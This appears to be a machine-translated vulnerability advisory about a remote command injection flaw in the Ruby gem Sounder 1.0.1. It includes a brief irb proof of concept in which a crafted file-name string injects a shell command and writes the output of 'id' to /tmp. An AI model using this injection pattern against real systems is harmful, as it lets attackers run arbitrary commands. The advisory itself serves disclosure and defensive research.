RubyGems Sounder 'sound. rb' Remote Command Injection Vulnerability

Source: Internet
Author: User

Release date:
Updated on:

Affected Systems:
Rubygems Sounder 1.0.1
Description:
--------------------------------------------------------------------------------
Bugtraq id: 62023

Sounder is the ruby gem API of the Mac OSX afplay command.

Sounder 1.0.1 has the remote command injection vulnerability. Attackers can exploit this vulnerability to execute arbitrary commands in the affected application context.

<* Source: Larry W. Cashdollar (lwc@vapid.dhs.org)

Link: http://seclists.org/oss-sec/2013/q3/495
*>

Test method:
--------------------------------------------------------------------------------

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!

PoC:

Irb (main): 098: 0> @ file = "\" id;/usr/bin/id>/tmp/p ;\""
=> "\" Id;/usr/bin/id>/tmp/p ;\""
Irb (main): 099: 0> system % {/bin/echo "# {@ file }"}
Id
Sh: 1: Permission denied
=> False
Irb (main): 100: 0>

Larry @ underfl0w:/tmp $ cat/tmp/p
Uid = 1000 (larry) gid = 600 (staff) groups = 600 (user)

Suggestion:
--------------------------------------------------------------------------------
Vendor patch:

Rubygems
--------
Currently, the vendor does not provide patches or upgrade programs. We recommend that users who use the software follow the vendor's homepage to obtain the latest version:

Https://rubygems.org/gems/sounder

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.